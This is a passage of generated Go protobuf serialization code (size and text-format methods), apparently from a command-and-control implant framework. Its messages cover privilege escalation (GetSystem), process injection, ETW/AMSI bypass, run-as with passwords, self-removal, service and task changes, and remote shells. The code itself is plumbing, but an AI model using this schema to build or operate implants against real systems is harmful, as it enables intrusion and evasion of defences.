l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Key) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.StringValue) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.ByteValue) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.DwordValue != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.DwordValue)) + } + if m.QwordValue != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.QwordValue)) + } + if m.Regtype != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Regtype)) + } + n += len(m.unknownFields) + return n +} + +func (m *TaskScheduleRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Taskschd != nil { + l = m.Taskschd.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *TaskSchedule) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.ExecutablePath) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.TriggerType != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.TriggerType)) + } + l = len(m.StartBoundary) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Description) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Enabled { + n += 2 + } + l = len(m.LastRunTime) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.NextRunTime) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *TaskSchedulesResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Schedules) > 0 { + for _, e := range m.Schedules { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *ServiceRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Service != nil { + l = m.Service.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *ServiceConfig) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.DisplayName) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.ExecutablePath) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.StartType != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.StartType)) + } + if m.ErrorControl != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.ErrorControl)) + } + l = len(m.AccountName) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *ServiceStatus) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.CurrentState != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.CurrentState)) + } + if m.ProcessId != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.ProcessId)) + } + if m.ExitCode != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.ExitCode)) + } + if m.Checkpoint != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Checkpoint)) + } + if m.WaitHint != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.WaitHint)) + } + n += len(m.unknownFields) + return n +} + +func (m *Service) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Config != nil { + l = m.Config.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Status != nil { + l = m.Status.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *ServicesResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Services) > 0 { + for _, e := range m.Services { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *WmiQueryRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Namespace) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Args) > 0 { + for _, s := range m.Args { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *WmiMethodRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Namespace) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.ClassName) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.MethodName) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Params) > 0 { + for k, v := range m.Params { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protobuf_go_lite.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protobuf_go_lite.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protobuf_go_lite.SizeOfVarint(uint64(mapEntrySize)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *RunAsRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Username) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Domain) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Password) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Program) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Args) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.UseProfile { + n += 2 + } + if m.Netonly { + n += 2 + } + if m.UseEnv { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m *GetSystem) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Bin) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Pid != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Pid)) + } + n += len(m.unknownFields) + return n +} + +func (m *Inject) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Bin) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Pid != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Pid)) + } + n += len(m.unknownFields) + return n +} + +func (m *Pipe) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Target) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Data) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *PipeRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Pipe != nil { + l = m.Pipe.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Switch) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Urls) > 0 { + for _, s := range m.Urls { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *TaskCtrl) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.TaskId != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.TaskId)) + } + l = len(m.Op) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *TaskInfo) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.TaskId != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.TaskId)) + } + if m.Last != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Last)) + } + if m.RecvCount != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.RecvCount)) + } + if m.SendCount != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.SendCount)) + } + n += len(m.unknownFields) + return n +} + +func (m *TaskListResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Tasks) > 0 { + for _, e := range m.Tasks { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *FFmpegRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Action) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.DeviceName) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.OutputFormat) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.OutputPath) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Time) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *PtyRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.SessionId) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Shell) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Cols != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Cols)) + } + if m.Rows != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Rows)) + } + l = len(m.InputData) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.InputText) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Params) > 0 { + for k, v := range m.Params { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protobuf_go_lite.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protobuf_go_lite.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protobuf_go_lite.SizeOfVarint(uint64(mapEntrySize)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *PtyResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.SessionId) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.OutputData) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.OutputText) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Error) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.SessionActive { + n += 2 + } + if len(m.ActiveSessions) > 0 { + for _, s := range m.ActiveSessions { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + if len(m.Metadata) > 0 { + for k, v := range m.Metadata { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protobuf_go_lite.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protobuf_go_lite.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protobuf_go_lite.SizeOfVarint(uint64(mapEntrySize)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *CommonBody) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.U32Array) > 0 { + l = 0 + for _, e := range m.U32Array { + l += protobuf_go_lite.SizeOfVarint(uint64(e)) + } + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(l)) + l + } + if len(m.U64Array) > 0 { + l = 0 + for _, e := range m.U64Array { + l += protobuf_go_lite.SizeOfVarint(uint64(e)) + } + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(l)) + l + } + if len(m.BoolArray) > 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(len(m.BoolArray))) + len(m.BoolArray)*1 + } + if len(m.StringArray) > 0 { + for _, s := range m.StringArray { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + if len(m.BytesArray) > 0 { + for _, b := range m.BytesArray { + l = len(b) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (x *Ping) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Ping {") + if x.Nonce != 0 { + if sb.Len() > 6 { + sb.WriteString(" ") + } + sb.WriteString("nonce: ") + sb.WriteString(strconv.FormatInt(int64(x.Nonce), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Ping) String() string { + return x.MarshalProtoText() +} +func (x *Register) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Register {") + if x.Name != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Proxy != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("proxy: ") + sb.WriteString(strconv.Quote(x.Proxy)) + } + if len(x.Module) > 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("module: [") + for i, v := range x.Module { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + if len(x.Addons) > 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("addons: [") + for i, v := range x.Addons { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + if x.Timer != nil { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("timer: ") + sb.WriteString(x.Timer.MarshalProtoText()) + } + if x.Sysinfo != nil { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("sysinfo: ") + sb.WriteString(x.Sysinfo.MarshalProtoText()) + } + if x.Secure != nil { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("secure: ") + sb.WriteString(x.Secure.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Register) String() string { + return x.MarshalProtoText() +} +func (x *Secure) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Secure {") + if x.Enable != false { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("enable: ") + sb.WriteString(strconv.FormatBool(x.Enable)) + } + if x.Key != "" { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Type != "" { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.PublicKey != "" { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("public_key: ") + sb.WriteString(strconv.Quote(x.PublicKey)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Secure) String() string { + return x.MarshalProtoText() +} +func (x *KeyExchangeRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("KeyExchangeRequest {") + if x.PublicKey != "" { + if sb.Len() > 20 { + sb.WriteString(" ") + } + sb.WriteString("public_key: ") + sb.WriteString(strconv.Quote(x.PublicKey)) + } + if x.Signature != nil { + if sb.Len() > 20 { + sb.WriteString(" ") + } + sb.WriteString("signature: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Signature)) + sb.WriteString("\"") + } + if x.Timestamp != 0 { + if sb.Len() > 20 { + sb.WriteString(" ") + } + sb.WriteString("timestamp: ") + sb.WriteString(strconv.FormatUint(uint64(x.Timestamp), 10)) + } + if x.Nonce != "" { + if sb.Len() > 20 { + sb.WriteString(" ") + } + sb.WriteString("nonce: ") + sb.WriteString(strconv.Quote(x.Nonce)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *KeyExchangeRequest) String() string { + return x.MarshalProtoText() +} +func (x *KeyExchangeResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("KeyExchangeResponse {") + if x.PublicKey != "" { + if sb.Len() > 21 { + sb.WriteString(" ") + } + sb.WriteString("public_key: ") + sb.WriteString(strconv.Quote(x.PublicKey)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *KeyExchangeResponse) String() string { + return x.MarshalProtoText() +} +func (x *Init) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Init {") + if x.Data != nil { + if sb.Len() > 6 { + sb.WriteString(" ") + } + sb.WriteString("data: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Data)) + sb.WriteString("\"") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Init) String() string { + return x.MarshalProtoText() +} +func (x *SysInfo) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("SysInfo {") + if x.Filepath != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("filepath: ") + sb.WriteString(strconv.Quote(x.Filepath)) + } + if x.Workdir != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("workdir: ") + sb.WriteString(strconv.Quote(x.Workdir)) + } + if x.IsPrivilege != false { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("is_privilege: ") + sb.WriteString(strconv.FormatBool(x.IsPrivilege)) + } + if x.Os != nil { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("os: ") + sb.WriteString(x.Os.MarshalProtoText()) + } + if x.Process != nil { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("process: ") + sb.WriteString(x.Process.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *SysInfo) String() string { + return x.MarshalProtoText() +} +func (x *Suicide) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Suicide {") + if x.Type != 0 { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.FormatInt(int64(x.Type), 10)) + } + if x.Timestamp != 0 { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("timestamp: ") + sb.WriteString(strconv.FormatInt(int64(x.Timestamp), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Suicide) String() string { + return x.MarshalProtoText() +} +func (x *Request_ParamsEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ParamsEntry {") + if x.Key != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Value != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("value: ") + sb.WriteString(strconv.Quote(x.Value)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Request_ParamsEntry) String() string { + return x.MarshalProtoText() +} +func (x *Request) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Request {") + if x.Name != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Input != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("input: ") + sb.WriteString(strconv.Quote(x.Input)) + } + if len(x.Args) > 0 { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("args: [") + for i, v := range x.Args { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + if len(x.Params) > 0 { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("params: {") + for _, k := range slices.Sorted(maps.Keys(x.Params)) { + v := x.Params[k] + sb.WriteString(" ") + sb.WriteString(strconv.Quote(k)) + sb.WriteString(": ") + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString(" }") + } + if x.Bin != nil { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("bin: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Bin)) + sb.WriteString("\"") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Request) String() string { + return x.MarshalProtoText() +} +func (x *Response_KvEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("KvEntry {") + if x.Key != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Value != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("value: ") + sb.WriteString(strconv.Quote(x.Value)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Response_KvEntry) String() string { + return x.MarshalProtoText() +} +func (x *Response) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Response {") + if x.Output != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("output: ") + sb.WriteString(strconv.Quote(x.Output)) + } + if x.Error != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("error: ") + sb.WriteString(strconv.Quote(x.Error)) + } + if len(x.Kv) > 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("kv: {") + for _, k := range slices.Sorted(maps.Keys(x.Kv)) { + v := x.Kv[k] + sb.WriteString(" ") + sb.WriteString(strconv.Quote(k)) + sb.WriteString(": ") + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString(" }") + } + if len(x.Array) > 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("array: [") + for i, v := range x.Array { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Response) String() string { + return x.MarshalProtoText() +} +func (x *BypassRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("BypassRequest {") + if x.ETW != false { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("ETW: ") + sb.WriteString(strconv.FormatBool(x.ETW)) + } + if x.AMSI != false { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("AMSI: ") + sb.WriteString(strconv.FormatBool(x.AMSI)) + } + if x.BlockDll != false { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("block_dll: ") + sb.WriteString(strconv.FormatBool(x.BlockDll)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *BypassRequest) String() string { + return x.MarshalProtoText() +} +func (x *NetInterface) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("NetInterface {") + if x.Index != 0 { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("index: ") + sb.WriteString(strconv.FormatInt(int64(x.Index), 10)) + } + if x.Name != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Mac != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("mac: ") + sb.WriteString(strconv.Quote(x.Mac)) + } + if len(x.IpAddresses) > 0 { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("ip_addresses: [") + for i, v := range x.IpAddresses { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *NetInterface) String() string { + return x.MarshalProtoText() +} +func (x *SockTabEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("SockTabEntry {") + if x.LocalAddr != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("local_addr: ") + sb.WriteString(strconv.Quote(x.LocalAddr)) + } + if x.RemoteAddr != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("remote_addr: ") + sb.WriteString(strconv.Quote(x.RemoteAddr)) + } + if x.SkState != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("skState: ") + sb.WriteString(strconv.Quote(x.SkState)) + } + if x.Pid != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("pid: ") + sb.WriteString(strconv.Quote(x.Pid)) + } + if x.Protocol != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("protocol: ") + sb.WriteString(strconv.Quote(x.Protocol)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *SockTabEntry) String() string { + return x.MarshalProtoText() +} +func (x *NetstatResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("NetstatResponse {") + if len(x.Socks) > 0 { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("socks: [") + for i, v := range x.Socks { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *NetstatResponse) String() string { + return x.MarshalProtoText() +} +func (x *Block) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Block {") + if x.BlockId != 0 { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("block_id: ") + sb.WriteString(strconv.FormatUint(uint64(x.BlockId), 10)) + } + if x.Content != nil { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("content: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Content)) + sb.WriteString("\"") + } + if x.End != false { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("end: ") + sb.WriteString(strconv.FormatBool(x.End)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Block) String() string { + return x.MarshalProtoText() +} +func (x *ACK) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ACK {") + if x.Id != 0 { + if sb.Len() > 5 { + sb.WriteString(" ") + } + sb.WriteString("id: ") + sb.WriteString(strconv.FormatUint(uint64(x.Id), 10)) + } + if x.Success != false { + if sb.Len() > 5 { + sb.WriteString(" ") + } + sb.WriteString("success: ") + sb.WriteString(strconv.FormatBool(x.Success)) + } + if x.End != false { + if sb.Len() > 5 { + sb.WriteString(" ") + } + sb.WriteString("end: ") + sb.WriteString(strconv.FormatBool(x.End)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ACK) String() string { + return x.MarshalProtoText() +} +func (x *Os) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Os {") + if x.Name != "" { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Version != "" { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("version: ") + sb.WriteString(strconv.Quote(x.Version)) + } + if x.Release != "" { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("release: ") + sb.WriteString(strconv.Quote(x.Release)) + } + if x.Arch != "" { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("arch: ") + sb.WriteString(strconv.Quote(x.Arch)) + } + if x.Username != "" { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("username: ") + sb.WriteString(strconv.Quote(x.Username)) + } + if x.Hostname != "" { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("hostname: ") + sb.WriteString(strconv.Quote(x.Hostname)) + } + if x.Locale != "" { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("locale: ") + sb.WriteString(strconv.Quote(x.Locale)) + } + if len(x.ClrVersion) > 0 { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("clr_version: [") + for i, v := range x.ClrVersion { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Os) String() string { + return x.MarshalProtoText() +} +func (x *Process) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Process {") + if x.Name != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Pid != 0 